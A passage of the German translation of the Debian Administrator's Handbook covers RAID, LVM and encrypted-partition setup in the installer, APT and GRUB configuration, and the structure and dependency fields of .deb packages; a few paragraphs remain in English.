Einige RAID-Varianten ermöglichen die Duplizierung von auf Festplatten gespeicherten Informationen, um so Datenverluste zu vermeiden, falls eine von ihnen von einem Hardwareproblem betroffen wird. Level-1-RAID speichert eine einfache identische Kopie (Spiegel) einer Festplatte auf einem anderen Laufwerk, während Level-5-RAID redundante Daten über mehrere Platten verteilt und so die vollständige Rekonstruktion einer versagenden Platte ermöglicht.

Wir werden nur Level-1-RAID beschreiben, das am einfachsten umzusetzen ist. Der erste Schritt besteht darin, zwei Partitionen gleicher Größe auf zwei verschiedenen Festplatten einzurichten und sie als „physikalisches Laufwerk für RAID“ zu bezeichnen.

Anschließend müssen Sie im Partitionierungsprogramm die Option „Software-RAID konfigurieren“ auswählen, um diese beiden Partitionen zu einer neuen virtuellen Platte zusammenzuführen, und dann auf dem Konfigurationsbildschirm „MD-Gerät erstellen“ auswählen. Danach müssen Sie eine Reihe von Fragen zu diesem neuen Gerät beantworten. Als erstes wird nach dem zu verwendenden RAID-Level gefragt, der in unserem Fall „RAID1“ ist. Als zweites wird nach der Anzahl der aktiven Geräte gefragt - in unserem Fall zwei, was der Anzahl der Partitionen entspricht, die bei diesem MD-Gerät verwendet werden. Als drittes wird nach der Anzahl von Reservegeräten gefragt - 0; wir haben keine zusätzliche Platte vorgesehen, um für eine möglicherweise defekte Platte einzuspringen. Die letzte Frage fordert Sie auf, die Partitionen für das RAID-Peripheriegerät auszuwählen - dies sollten die beiden sein, die wir für diesen Zweck vorgesehen haben (achten Sie darauf, nur die Partitionen auszuwählen, bei denen ausdrücklich „raid“ vermerkt ist).

Im Hauptmenü erscheint nun eine neue virtuelle „RAID“-Platte. Diese Platte wird als einzelne nicht löschbare Partition dargestellt, deren Verwendung wir jedoch wählen können (gerade so wie bei jeder anderen Partition).

Für weitere Einzelheiten zu RAID-Funktionen siehe Section 12.1.1, “Software-RAID”.

4.2.13.4. Den Logical Volume Manager (LVM) konfigurieren

LVM ermöglicht es Ihnen, „virtuelle“ Partitionen zu erstellen, die sich über mehrere Platten erstrecken. Dies hat zwei Vorteile: die Größe der Partitionen wird nicht mehr durch die individuellen Platten begrenzt, sondern durch ihre gesamte Größe, und Sie können jederzeit nach Bedarf die Größe einer bestehenden Partition vergrößern, indem sie eine weitere Platte hinzufügen.

LVM verwendet eine besondere Terminologie: eine virtuelle Partition ist ein „logisches Volume“, das wiederum Teil einer „Volume-Gruppe“ oder einer Verbindung mehrerer „physikalischer Volumes“ ist. Jeder dieser Begriffe bezieht sich tatsächlich auf eine „reale“ Partition (oder ein Software-RAID-Laufwerk).

Diese Technik arbeitet auf sehr einfache Weise: jedes Volume, ob physikalisch oder logisch, wird in Blöcke gleicher Größe unterteilt, die durch den LVM miteinander in Übereinstimmung gebracht werden. Durch das Hinzufügen einer neuen Platte wird ein neues physikalisches Volume erzeugt, und diese neuen Blöcke können dann jeder beliebigen Volume-Gruppe zugeordnet werden. Alle Partitionen einer derartig erweiterten Volume-Gruppe erhalten so zusätzlichen Raum, in den sie sich ausdehnen können.

Das Partitionierungsprogramm konfiguriert LVM in mehreren Schritten. Zunächst müssen Sie auf den vorhandenen Festplatten die Partitionen erstellen, die „physikalische Volumes für LVM“ sein werden. Um LVM zu aktivieren, müssen Sie die Option „Logical Volume Manager konfigurieren“ auswählen und dann auf demselben Konfigurationsbildschirm die Option „Volume-Gruppe erstellen“, der dann die bestehenden physikalischen Volumes zugeordnet werden. Schließlich können Sie logische Volumes innerhalb dieser Volume-Gruppe erstellen. Beachten Sie, dass das automatische Partitionierungssystem die gesamte Abwicklung dieses Vorgangs übernehmen kann.

Im Partitionierungsmenü erscheint jedes physikalische Volume als Platte mit einer einzelnen Partition, die nicht gelöscht werden kann, die Sie jedoch nach Wunsch verwenden können.

Die Verwendung des LVM ist in Section 12.1.2, “LVM” ausführlicher beschrieben.

4.2.13.5. Verschlüsselte Partitionen einrichten

Um die Vertraulichkeit Ihrer Daten sicherzustellen, zum Beispiel beim Verlust oder Diebstahl Ihres Rechners oder einer Festplatte, ist es möglich, die Daten auf einigen Partitionen zu verschlüsseln. Dieses Merkmal kann unterhalb jedes Dateisystems eingefügt werden, da, wie LVM auch, Linux (genauer der dm-crypt-Treiber) den Device Mapper benutzt, um eine virtuelle Partition (deren Inhalt geschützt wird) auf der Grundlage einer darunter liegenden Partition zu erstellen, die die Daten in verschlüsselter Form aufnimmt (dank LUKS, Linux Unified Key Setup, einem Standardformat, das das Speichern von verschlüsselten Daten wie auch von Meta-Informationen zur Angabe des verwendeten Verschlüsselungsalgorithmus ermöglicht).

SICHERHEIT Verschlüsselte Swap-Partition

Während eine verschlüsselte Partition verwendet wird, wird der Verschlüsselungscode im Speicher (RAM) gehalten. Da das Abrufen dieses Codes die Entschlüsselung der Daten ermöglicht, ist es äußerst wichtig, keine Kopie dieses Codes zu hinterlassen, die für einen möglichen Dieb des Rechners oder der Festplatte oder für einen Wartungstechniker zugänglich wäre. Dies kann bei einem Laptop jedoch leicht geschehen, da der Inhalt des RAM im Ruhezustand (Hibernation) in der Swap-Partition gespeichert bleibt. Falls diese Partition nicht verschlüsselt ist, könnte der Dieb Zugang zum Code erhalten und ihn zum Entschlüsseln der Daten auf den verschlüsselten Partitionen verwenden. Es ist daher unbedingt erforderlich, dass Sie auch die Swap-Partition verschlüsseln, wenn Sie verschlüsselte Partitionen verwenden.

Das Debian-Installationsprogramm warnt den Nutzer, wenn er versucht, eine verschlüsselte Partition zu erstellen, während die Swap-Partition unverschlüsselt ist.

Zur Erstellung einer verschlüsselten Partition müssen Sie zunächst einer vorhandenen Partition diesen Zweck zuweisen. Hierzu wählen Sie eine Partition aus und zeigen an, dass sie als „physikalisches Volume für Verschlüsselung“ verwendet werden soll. Nachdem Sie die Platte, die das zu erstellende physikalische Volume enthält, partitioniert haben, wählen Sie „verschlüsselte Volumes konfigurieren“ aus. Das Programm wird dann vorschlagen, das physikalische Volume mit Zufallsdaten vorzubereiten (was das Auffinden der wirklichen Daten schwieriger macht), und wird Sie bitten, eine „Verschlüsselungs-Passphrase“ einzugeben, die Sie in Zukunft jedes Mal, wenn Sie Ihren Rechner starten, eingeben müssen, um Zugang zum Inhalt der verschlüsselten Partition zu erhalten. Nachdem Sie diesen Schritt erledigt haben und zum Menü des Partitionierungsprogramms zurückgekehrt sind, werden Sie dort eine neue Partition in einem „verschlüsselten Volume“ vorfinden, die Sie dann wie jede andere Partition konfigurieren können. In den meisten Fällen wird diese Partition als physikalisches Volume für LVM verwendet, um so mehrere Partitionen (logische Volumes unter LVM) mit demselben Verschlüsselungscode zu schützen, einschließlich der Swap-Partition (siehe Seitenleiste).

4.2.14. Das Grundsystem installieren

Dieser Schritt, der keinen Eingriff des Nutzers erfordert, installiert die Pakete des Debian-„Grundsystems“. Hierzu gehören die Hilfsprogramme dpkg und apt, mit denen Debian-Pakete verwaltet werden, wie auch die zum Hochfahren und Starten des Systems erforderlichen Dienstprogramme. Die Debian-Pakete werden von der Platte gelesen (falls Sie eine netinst-CD oder eine vollständige CD-/DVD-ROM verwenden) oder heruntergeladen (wenn Sie eine businesscard-Installationsplatte verwenden).

Figure 4.11. Installation des Grundsystems

4.2.15. Den Paketmanager (apt) konfigurieren

Um zusätzliche Software installieren zu können, muss APT konfiguriert werden und ihm mitgeteilt werden, wo Debian-Pakete zu finden sind. Dieser Schritt ist soweit wie möglich automatisiert. Er beginnt mit der Frage, ob er eine Netzwerkquelle für die Pakete verwenden muss, oder ob er nach Paketen nur auf der CD-ROM suchen soll.

HINWEIS Debian-CD-ROM im Laufwerk

Falls das Installationsprogramm eine Debian-Installationsplatte im CD/DVD-Laufwerk entdeckt, ist es nicht erforderlich, APT für die Suche nach Paketen im Netzwerk zu konfigurieren: APT ist automatisch so konfiguriert, dass es Pakete von einem Laufwerk für Wechseldatenträger liest. Falls die Platte Teil eines Sets ist, wird das Programm anbieten, auch die anderen Platten zu „erkunden“, um so alle Pakete zu erfassen, die auf ihnen gespeichert sind.

If getting packages from the network is requested, the next two questions allow to choose a server from which to download these packages, by choosing successively a country and a mirror available in that country (a mirror is a public server hosting copies of all the files of the Debian master archive).

Figure 4.12. Einen Debian-Spiegelserver auswählen

Schließlich schlägt das Programm vor, einen HTTP-Proxy zu verwenden. Falls kein Proxy vorhanden ist, besteht eine direkte Internetverbindung. Wenn Sie http://proxy.falcot.com:3128 eingeben, wird Apt den Falcot proxy/cache, ein „Squid“-Programm, verwenden. Sie können diese Einstellungen finden, indem Sie sich die Konfiguration eines Webbrowsers auf einem anderen Rechner, der mit demselben Netzwerk verbunden ist, ansehen.

Die Dateien Packages.gz und Sources.gz werden dann automatisch heruntergeladen, um die Liste der von APT erkannten Pakete zu aktualisieren.

ZURÜCK ZU DEN GRUNDLAGEN HTTP-Proxy

Ein HTTP-Proxy ist ein Server, der eine HTTP-Anfrage für Netzwerknutzer weiterleitet. Manchmal hilft er, das Herunterladen zu beschleunigen, indem er eine Kopie von Dateien aufhebt, die durch ihn übertragen wurden (wir sprechen dann von Proxy/Cache). Manchmal ist er die einzige Möglichkeit, einen externen Web-Server zu erreichen; in solchen Fällen ist es unerlässlich, während der Installation die entsprechende Frage zu beantworten, damit das Programm die Debian-Pakete über ihn herunterladen kann.

Squid ist der Name der Server-Software, die von Falcot Corp verwendet wird, um diesen Dienst anzubieten.

4.2.16. Debian-Paketpopularitätswettbewerb

Das Debian-System enthält ein Paket namens popularity-contest, dessen Aufgabe darin besteht, Statistiken über die Paketnutzung zu erstellen. Es sammelt jede Woche Informationen über die installierten und in jüngster Zeit benutzten Pakete und sendet diese Informationen anonym an die Debian-Projektserver. Das Projekt kann diese Informationen dann dazu benutzen, die relative Bedeutung jedes Pakets zu bestimmen, die die ihm gewährte Priorität beeinflusst. Insbesondere werden die „populärsten“ Pakete in die Installations-CD-ROM aufgenommen, wodurch ihr Zugang für Nutzer erleichtert wird, die sie nicht herunterladen oder ein vollständiges Set kaufen möchten.

Dieses Paket wird aus Rücksicht auf die Vertraulichkeit der Nutzung durch die Anwender nur auf Nachfrage aktiviert.

4.2.17. Pakete zur Installierung auswählen

Der nächste Schritt ermöglicht es, ganz allgemein den Verwendungszweck des Rechners auszuwählen. Die zehn vorgeschlagenen Aufgaben entsprechen Listen von zu installierenden Paketen. Die Liste der Pakete, die tatsächlich installiert werden, wird später genauer abgestimmt und vervollständigt, sie stellt jedoch auf einfache Weise einen guten Ausgangspunkt dar.

Einige Pakete werden auch nach Maßgabe der erkannten Hardware automatisch installiert (dank des Programms discover-pkginstall aus dem Paket discover). Falls zum Beispiel ein virtueller Rechner unter VirtualBox erkannt wird, installiert das Programm das Paket virtualbox-ose-guest-dkms, das eine bessere Integration des virtuellen Rechners mit dem Wirtssystem ermöglicht.

Figure 4.13. Wahlmöglichkeiten

4.2.18. Den Boot-Loader GRUB installieren

Der Boot-Loader ist das erste vom BIOS gestartete Programm. Er lädt den Linux-Kernel in den Speicher und führt ihn dann aus. Häufig bietet er ein Menü an, das es dem Nutzer ermöglicht, den zu ladenden Kernel oder das zu startende Betriebssystem auszuwählen.

VORSICHT Boot-Loader und Dual-Boot

In diesem Abschnitt des Debian-Installationsprozesses werden die bereits auf dem Rechner installierten Betriebssysteme erkannt und entsprechende Einträge automatisch zum Boot-Menü hinzugefügt. Dies geschieht jedoch nicht bei allen Installationsprogrammen.

Vor allem, wenn Sie anschließend Windows installieren (oder wieder installieren), wird der Boot-Loader gelöscht. Debian befindet sich dann nach wie vor auf der Festplatte, aber ist nicht mehr vom Boot-Menü aus zugänglich. Sie müssen dann das Debian-Installationssystem im rescue-Modus starten, um einen weniger ausgrenzenden Boot-Loader einzurichten. Dieser Arbeitsgang wird ausführlich im Installationshandbuch beschrieben.

→ http://www.debian.org/releases/stable/i386/ch08s07.html

Standardmäßig enthält das von GRUB vorgeschlagene Menü alle installierten Linux-Kernel, wie auch alle anderen erkannten Betriebssysteme. Daher sollten Sie den Vorschlag akzeptieren, es in den Master Boot Record zu installieren. Da das Behalten älterer Kernelversionen die Möglichkeit wahrt, dasselbe System zu starten, auch wenn der zuletzt installierte Kernel fehlerhaft oder schlecht an die Hardware angepasst ist, ist es am besten, stets wenigstens drei ältere Versionen zu behalten.

GRUB ist dank seiner technischen Überlegenheit der von Debian installierte Standard-Boot-Loader: er funktioniert mit den meisten Dateisystemen und erfordert daher nach der Installation eines neuen Kernels keine Aktualisierung, da er seine Konfiguration während des Hochfahrens liest und die genaue Position des neuen Kernels findet. In der Version 1 (inzwischen „GRUB Legacy“ genannt) konnte GRUB nicht mit allen Kombinationen von LVM und Software-RAID umgehen; die standardmäßig installierte Version 2 ist da vollständiger. Es mag noch Situationen geben, in denen es eher angeraten ist, LILO (einen anderen Boot-Loader) zu installieren; das Installationsprogramm wird das dann automatisch vorschlagen.

Für weitere Informationen zur Konfigurierung von GRUB sehen Sie bitte hier nach: Section 8.8.3, “Konfigurierung von GRUB 2”.

ACHTUNG Boot-Loader und Architekturen

LILO und GRUB, die in diesem Kapitel erwähnt wurden, sind Boot-Loader für i386- und amd64-Architekturen. Falls Sie Debian auf einer anderen Architektur installieren, werden Sie einen anderen Boot-Loader verwenden müssen. Unter anderem können wir folgende nennen: yaboot oder quik für powerpc, silo für sparc, elilo für ia64, aboot für alpha, arcboot für mips, atari-bootstrap oder vme-lilo für m68k.

4.2.19. Die Installation fertigstellen und neu starten

Die Installation ist nun abgeschlossen, das Programm bittet Sie, die CD-ROM aus dem Laufwerk zu entfernen und den Rechner neu zu starten.

4.3. Nach dem ersten Hochfahren

Falls Sie die Aufgabe „Desktop-Umgebung“ aktiviert hatten, wird der Rechner den Login-Manager gdm anzeigen.

Figure 4.14. Erstes Hochfahren

Der bereits angelegte Nutzer kann sich dann anmelden und sofort zu arbeiten beginnen.

4.3.1. Zusätzliche Software installieren

The installed packages correspond to the profiles selected during installation, but not necessarily to the use that will actually be made of the machine. As such, you might want to use a package management tool to refine the selection of installed packages. The two most frequently used tools (which are installed if the “Graphical desktop environment” profile was chosen) are apt (accessible from the command line) and synaptic (System → Administration → Synaptic Package Manager).

Um die Installation von zueinander passenden Gruppen von Programmen zu erleichtern, erstellt Debian „Aufgaben“, die einem bestimmten Verwendungszweck dienen (Mailserver, Dateiserver, usw.). Sie hatten bereits die Möglichkeit, sie während der Installation auszuwählen, und Sie können sie erneut mit Paket-Verwaltungsprogrammen wie aptitude (die Aufgaben sind in einem besonderen Abschnitt aufgelistet) und synaptic (über das Menü Bearbeiten → Pakete nach Aufgaben vormerken) abrufen.

Aptitude ist eine Schnittstelle für APT im Vollbild-Textmodus. Sie ermöglicht es dem Nutzer, die Liste der verfügbaren Pakete nach verschiedenen Kategorien (installierte oder nicht installierte Pakete, nach Aufgabe, nach Bereich usw.) zu durchsuchen und die für jedes von ihnen verfügbare Information anzusehen (Abhängigkeiten, Konflikte, Beschreibung, usw.). Jedes Paket kann mit „installieren“ (um es zu installieren, die +-Taste drücken) oder „entfernen“ (um es zu entfernen, die --Taste drücken) gekennzeichnet werden. Alle diese Arbeitsgänge werden dann gleichzeitig ausgeführt, sobald Sie sie durch das Drücken der g-Taste („g“ für „go!“) bestätigt haben. Keine Sorge, falls Sie einige Programme vergessen haben; Sie können aptitude erneut benutzen, sobald die erste Installation beendet ist.

TIP Debian kümmert sich auch um Nutzer, deren Muttersprache nicht Englisch ist

Several tasks are dedicated to the localization of the system in other languages beyond English. They include translated documentation, dictionaries, and various other packages useful for speakers of different languages. The appropriate task is automatically selected if a non-English language was chosen during installation.

KULTUR dselect, die alte Schnittstelle für die Paketinstallation

Vor aptitude war dselect das Standardprogramm zur Auswahl von Paketen für die Installation, die alte grafische mit dpkg verbundene Schnittstelle. Sie ist nicht empfehlenswert, da sie für Anfänger ein nur schwer zu benutzendes Programm ist.

Selbstverständlich ist es auch möglich, überhaupt keine Aufgabe für die Installation auszuwählen. In diesem Fall können Sie die gewünschte Software manuell mit dem Befehl apt-get oder aptitude installieren (beide sind über die Befehlszeile erreichbar).

WÖRTERVERZEICHNIS Paketabhängigkeiten, Konflikte

Im Debian Paket-Jargon ist eine „Abhängigkeit“ ein anderes Paket, das für das richtige Funktionieren des betreffenden Pakets erforderlich ist. Umgekehrt ist ein „Konflikt“ ein Paket, das nicht gleichzeitig mit einem anderen installiert sein kann.

Diese Begriffe sind ausführlicher dargestellt in Chapter 5, Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien.

4.3.2. Das System aktualisieren

Ein erstes aptitude safe-upgrade (ein Befehl zur automatischen Aktualisierung der installierten Programme) ist normalerweise erforderlich, insbesondere für mögliche Sicherheitsaktualisierungen, die seit der Veröffentlichung der letzten stabilen Debian-Version herausgegeben wurden. Diese Aktualisierungen können einige zusätzliche Fragen durch debconf, Debians Standardkonfigurationsprogramm, stellen. Für weitere Informationen zu diesen von aptitude durchgeführten Aktualisierungen siehe Section 6.2.3, “Das System aktualisieren”.

Chapter 5. Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien

Als Debian-Systemadministrator werden Sie regelmäßig mit .deb-Paketen umgehen, da sie festgelegte funktionale Einheiten (Anwendungen, Dokumentation usw.) enthalten, deren Installation und Wartung sie vereinfachen. Deshalb ist es gut zu wissen, was sie sind und wie man sie benutzt.

Dieses Kapitel beschreibt die Struktur und den Inhalt von „Binär“- und „Quell“-Paketen. Erstere sind .deb-Dateien, die direkt mit dem Befehl dpkg benutzt werden können, während letztere den Programm-Quellcode sowie Anweisungen zum Bau von Binärpaketen enthalten.

5.1. Struktur eines Binärpakets

Das Debian-Paketformat ist so gestaltet, dass sein Inhalt auf jedem Unixsystem entpackt werden kann, das über die klassischen Befehle ar, tar und gzip verfügt. Diese scheinbar belanglose Eigenschaft ist wichtig für die Portierbarkeit und Wiederherstellung.

Nehmen Sie zum Beispiel an, dass Sie aus Versehen das Programm dpkg gelöscht haben, und dass Sie daher keine Debian-Pakete mehr installieren können. Da dpkg selbst ein Debian-Paket ist, sieht es so aus, als ob ihr System erledigt sei... Zum Glück kennen Sie das Format eines Pakets und können daher die .deb-Datei des dpkg-Pakets herunterladen und es manuell installieren (siehe Seitenleiste „HILFSPROGRAMME“). Wenn durch ein Missgeschick eines oder mehrere der Programme ar, tar oder gzip verschwunden sind, brauchen Sie nur das fehlende Programm von einem anderen System zu kopieren (da jedes von ihnen auf vollständig autonome Weise ohne Abhängigkeiten arbeitet, reicht eine einfache Kopie aus).

HILFSPROGRAMME dpkg, APT und ar

dpkg ist das Programm, das mit .deb-Dateien umgeht, sie insbesondere extrahiert, analysiert und entpackt.

APT ist eine Gruppe von Programmen, die es ermöglichen, Veränderungen auf höherer Ebene des Systems durchzuführen: ein Paket zu installieren oder zu entfernen (und dabei Abhängigkeiten erfüllt zu halten), das System zu aktualisieren, die verfügbaren Pakete aufzulisten usw.

Das Paket ar ermöglicht es, mit Dateien, die diesen Namen tragen, umzugehen: ar t archiv zeigt eine Liste der in einem solchen Archiv enthaltenen Dateien an, ar x archiv entpackt die Dateien aus dem Archiv in das aktuelle Arbeitsverzeichnis, ar d archiv datei löscht eine Datei aus dem Archiv usw. Seine Handbuchseite (ar(1)) dokumentiert noch viele weitere Arbeitsgänge. ar ist ein sehr elementares Werkzeug, das ein Unix-Administrator nur selten benutzen wird. Stattdessen verwenden Administratoren üblicherweise tar, ein höher entwickeltes Programm für das Archiv- und Dateimanagement. Daher ist es einfach, dpkg wieder herzustellen, falls es versehentlich gelöscht wurde. Sie brauchen nur das Debian-Paket herunterzuladen und seinen Inhalt aus dem Archiv data.tar.gz in das Wurzelverzeichnis des Systems (/) zu entpacken:

# ar x dpkg_1.15.8.5_i386.deb # tar -C / -p -xzf data.tar.gz

ZURÜCK ZU DEN GRUNDLAGEN Ausdrucksweise in den Handbuchseiten

Für Anfänger kann es verwirrend sein, in der Literatur Verweise auf „ar(1)“ zu finden. Dies ist gemeinhin eine bequeme Art, auf die Handbuchseite namens ar in Abschnitt 1 zu verweisen.

Manchmal wird diese Ausdrucksweise auch verwendet um Mehrdeutigkeiten zu beseitigen, um zum Beispiel zwischen dem Befehl printf, der in printf(1) beschrieben ist, und der Funktion printf in der Programmiersprache C, auf die sich printf(3) bezieht, zu unterscheiden.

Chapter 7, Probleme lösen und relevante Informationen finden erläutert Handbuchseiten ausführlicher (siehe Section 7.1.1, “Handbuchseiten”).

Werfen Sie einen Blick auf den Inhalt einer .deb-Datei:

$ ar t dpkg_1.15.8.5_i386.deb debian-binary control.tar.gz data.tar.gz $ ar x dpkg_1.15.8.5_i386.deb $ ls control.tar.gz data.tar.gz debian-binary dpkg_1.15.8.5_i386.deb $ tar tzf data.tar.gz | head -15 ./ ./var/ ./var/lib/ ./var/lib/dpkg/ ./var/lib/dpkg/updates/ ./var/lib/dpkg/parts/ ./var/lib/dpkg/info/ ./var/lib/dpkg/alternatives/ ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/sbin/ ./usr/sbin/install-info ./usr/bin/ ./usr/bin/dpkg-split $ tar tzf control.tar.gz ./ ./control ./preinst ./md5sums ./conffiles ./postrm ./postinst $ cat debian-binary 2.0

Wie Sie sehen, besteht das ar-Archiv eines Debian-Pakets aus drei Dateien:

debian-binary. Dies ist eine Textdatei, die lediglich die Version der verwendeten .deb-Datei angibt (2011: Version 2.0).

control.tar.gz. Diese Archivdatei enthält alle verfügbaren Meta-Informationen. In ihr finden Paketverwaltungsprogramme unter anderem den Namen und die Version des Paketes. Manche dieser Meta-Information ermöglicht ihnen die Entscheidung, ob die enthaltenen Programme zum Beispiel unter Beachtung der Liste der bereits auf dem Gerät installierten Pakete installiert oder deinstalliert werden können.

data.tar.gz. Dieses Archiv enthält alle Dateien, die aus dem Paket entpackt werden sollen; hier sind die ausführbaren Dateien, die Dokumentation usw. gespeichert. Möglicherweise verwenden einige Pakete andere Komprimierungsformate, wobei die Datei dann anders heißt (data.tar.bz2 für bzip2, data.tar.xz für XZ, data.tar.lzma für LZMA).

5.2. Paket-Meta-Information

Das Debian-Paket ist nicht nur ein für die Installation vorgesehenes Archiv von Dateien. Es ist Teil eines größeren Ganzen und beschreibt seine Beziehungen zu anderen Debian-Paketen (Abhängigkeiten, Konflikte, Vorschläge). Es stellt auch Skripte zur Verfügung, die die Ausführung von Befehlen in verschiedenen Lebensphasen des Paketes (Installation, Entfernung, Aktualisierung) ermöglichen. Diese vom Paket-Verwaltungsprogramm benutzten Daten sind nicht Teil des Softwarebündels, sondern sind innerhalb des Pakets sogenannte „Meta-Informationen“ (Information über andere Information).

5.2.1. Beschreibung: Die control-Datei

Diese Datei verwendet eine den E-Mail-Kopfzeilen ähnliche Struktur (wie sie in RFC 2822 definiert ist). So sieht die control-Datei für apt zum Beispiel folgendermaßen aus:

$ apt-cache show apt Package: apt Priority: important Section: admin Installed-Size: 5612 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: i386 Version: 0.8.0 Replaces: manpages-pl (<< 20060617-3~) Provides: libapt-pkg4.10 Depends: libc6 (>= 2.3.4), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.4.0), zlib1g (>= 1:1.1.4), debian-archive-keyring, gnupg Suggests: aptitude | synaptic | wajig, dpkg-dev, apt-doc, bzip2, lzma, python-apt Conflicts: python-apt (<< 0.7.93.2~) Filename: pool/main/a/apt/apt_0.8.0_i386.deb Size: 1965454 MD5sum: 43364819b898e49b8175e88ec5787241 SHA1: 350a8a7a43fe182d54f3b7d73b8032f85b5d7ddf SHA256: a593e7d7f9b3cffa37770201a3c13bd2c8bc588bafbf39b4aaa5e13b5fb00b8b Description: Advanced front-end for dpkg This is Debian's next generation front-end for the dpkg package manager. It provides the apt-get utility and APT dselect method that provides a simpler, safer way to install and upgrade packages. . APT features complete installation ordering, multiple source capability and several other unique features, see the Users Guide in apt-doc. Tag: admin::package-management, hardware::storage, hardware::storage:cd, interface::commandline, network::client, protocol::{ftp,http,ipv6}, role::program, suite::debian, use::downloading, use::searching, works-with::software:package

ZURÜCK ZU DEN GRUNDLAGEN RFC — Internet-Standards

RFC ist die Abkürzung für „Request For Comments“ (Bitte um Kommentare). Ein RFC ist üblicherweise ein technisches Dokument, das einen zukünftigen Internet-Standard beschreibt. Bevor sie standardisiert und für Veränderungen gesperrt werden, werden diese Standards einer öffentlichen Überprüfung unterworfen (daher der Name). Die IETF (Internet Engineering Task Force) entscheidet über die Statusentwicklung dieser Dokumente (vorgeschlagener Standard, Standardentwurf oder Standard).

RFC 2026 definiert den Prozess der Standardisierung von Internet-Protokollen.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Abhängigkeiten: dieDepends-Zeile

Die Abhängigkeiten sind in der Depends-Zeile des Paketkopfs definiert. Dies ist eine Liste von Bedingungen, die erfüllt sein müssen, damit das Paket korrekt funktioniert - diese Information wird von Programmen wie apt dazu verwendet, die erforderlichen Bibliotheken in der passenden Version zu installieren, auf die das zu installierende Programm angewiesen ist. Für jede Abhängigkeit kann der Bereich der Versionen, die diese Bedingung erfüllen, eingeschränkt werden. Anders ausgedrückt ist es möglich, die Tatsache zu bekunden, dass wir das Paket libc6 in einer Version größer oder gleich „2.3.4“ benötigen (geschrieben „libc6 (>= 2.3.4)“). Für den Versionsvergleich gibt es folgende Operatoren:

<<: kleiner als;

<=: kleiner als oder gleich;

=: gleich (beachte, „2.6.1“ ist nicht gleich „2.6.1-1“);

>=: größer als oder gleich;

>>: größer als.

In einer Liste der zu erfüllenden Bedingungen dient das Komma als Trennzeichen. Logisch wird es als „und“ interpretiert. In den Bedingungen drückt der vertikale Strich („|“) ein logisches „oder“ aus (es ist ein nichtausschließendes „oder“ im Gegensatz zu „entweder/oder“). Es hat einen höheren Rang als „und“ und kann so oft eingesetzt werden, wie es erforderlich ist. So wird die Abhängigkeit „(A oder B) und C“ geschrieben als A | B, C. Dagegen sollte der Ausdruck „A oder (B und C)“ geschrieben werden als „(A oder B) und (A oder C)“, da die Depends-Zeilen keine Klammern zulassen, die die Rangordnung zwischen den logischen Operatoren „oder“ und „und“ verändern. Es würde daher als A | B, A | C geschrieben.

→ http://www.debian.org/doc/debian-policy/ch-relationships.html

Das Abhängigkeitensystem ist eine gute Vorrichtung um das Funktionieren eines Programms sicherzustellen, aber es hat mit den „Meta-Paketen“ noch eine weitere Funktion. Dies sind leere Pakete, die lediglich Abhängigkeiten beschreiben. Sie erleichtern die Installation einer zusammenhängenden Gruppe von Programmen, die vom Betreuer des Meta-Pakets ausgewählt wurden. So installiert apt-get install Meta-Paket automatisch alle Programme unter Verwendung der Abhängigkeiten des Meta-Pakets. Die Pakete gnome, kde und linux-image-2.6-686 sind Beispiele solcher Meta-Pakete.

DEBIAN-RICHTLINIEN Pre-Depends, ein anspruchsvolleres Depends

„Vorabhängigkeiten“, die in der „Pre-Depends“-Zeilen des Paketkopfes aufgeführt sind, vervollständigen die normalen Abhängigkeiten; ihre Syntax ist identisch. Eine normale Abhängigkeit bedeutet, dass das betreffende Paket vor dem Paket, das die Abhängigkeit feststellt, entpackt und konfiguriert werden muss. Eine Vorabhängigkeit schreibt vor, dass das betreffende Paket entpackt und konfiguriert werden muss, bevor das Skript zur Vorbereitung der Installation des Paketes, das die Vorabhängigkeit feststellt, ausgeführt wird; das heißt, vor dessen Installation.

Eine Vorabhängigkeit ist für apt sehr schwierig, da es der Reihenfolge der zu installierenden Pakete eine strenge Restriktion auferlegt. Deshalb wird von Vorabhängigkeiten abgeraten, es sei denn, sie sind unbedingt erforderlich. Es wird sogar empfohlen, andere Entwickler auf <debian-devel@lists.debian.org> zu Rate zu ziehen, bevor eine Vorabhängigkeit eingefügt wird. Es ist normalerweise möglich eine andere Lösung zur Umgehung des Problems zu finden.

DEBIAN-RICHTLINIEN Recommends-, Suggests- und Enhances-Zeilen

Die Recommends- und Suggests-Zeilen bezeichnen Abhängigkeiten, die nicht vorgeschrieben sind. Die „empfohlenen“ (recommended) Abhängigkeiten sind wichtig und verbessern die Funktionen des Pakets wesentlich, sind für seinen Einsatz aber nicht unabdingbar. Die „vorgeschlagenen“ (suggested) Abhängigkeiten sind weniger wichtig und deuten darauf hin, dass bestimmte Pakete die Funktionalität ergänzen oder verbessern können; es ist jedoch völlig zulässig, es ohne diese zu installieren.

Sie sollten immer die „empfohlenen“ (recommended) Pakete installieren, es sei denn, Sie wissen genau warum Sie sie nicht benötigen. Dagegen ist es nicht erforderlich, die „vorgeschlagenen“ (suggested) Pakete zu installieren, es sei denn, Sie wissen warum Sie sie benötigen.

Die Enhances-Zeilen beschreibt auch eine Empfehlung, aber in einem anderen Zusammenhang. Und zwar befindet sie sich in dem vorgeschlagenen Paket, nicht in dem Paket, dem der Vorschlag zugute kommt. Sie ist deshalb interessant, weil man auf diese Weise eine Empfehlung hinzufügen kann, ohne das betroffene Paket zu verändern. So können alle Add-ons, Plug-ins und sonstigen Erweiterungen in der Liste der Empfehlungen für ein Programm aufgeführt werden. Obwohl es sie bereits seit mehreren Jahren gibt, werden diese Zeilen noch weitgehend von Programmen wie apt-get oder synaptic ignoriert. Ihr Zweck besteht darin, dem Nutzer einen von der Enhances-Zeile gemachten Vorschlag zusätzlich zu den herkömmlichen Vorschlägen - in der Suggests-Zeile - anzuzeigen.

5.2.1.2. Konflikte: die Conflicts-Zeilen

Die Conflicts-Zeilen zeigen an, dass ein Paket nicht gleichzeitig mit einem anderen installiert sein kann. Die häufigsten Gründe hierfür sind, dass beide Pakete eine Datei mit demselben Namen enthalten, dass sie den gleichen Dienst am selben TCP-Port anbieten oder dass sie sich gegenseitig im Betrieb behindern würden.

